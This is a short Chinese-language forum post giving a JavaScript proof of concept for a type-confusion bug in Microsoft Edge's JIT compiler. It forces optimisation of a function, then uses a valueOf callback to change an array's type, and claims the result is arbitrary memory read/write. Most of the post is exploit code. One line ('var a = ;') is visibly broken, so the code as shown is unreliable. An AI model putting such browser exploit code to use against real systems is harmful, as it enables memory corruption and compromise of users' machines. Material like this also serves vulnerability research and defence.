Edge:导致类型混淆的bug
"use strict";function func(a, b, c) {
a = 1.2;
b = c; <<<<----------------------- (1)
a = 2.2;
a = 2.3023e-320;
}
function main() {
var a = ;
var b = new Uint32Array(100);
// 强行优化
for (var i = 0; i < 0x10000; i++)
func(a, b, i);
func(a, b, {valueOf: () => {
a = {}; <<<<----------------------- (2)
return 0;
}});
a.toString();
}
main();
在上面的代码中,假定类型的|a|还是一个本地浮动数组,执行(1)后,可以改变它的类型的处理程序((2)),导致类型混淆。
PoC将复制任意内存读/写。
//Edge38.14393.0.0
页:
[1]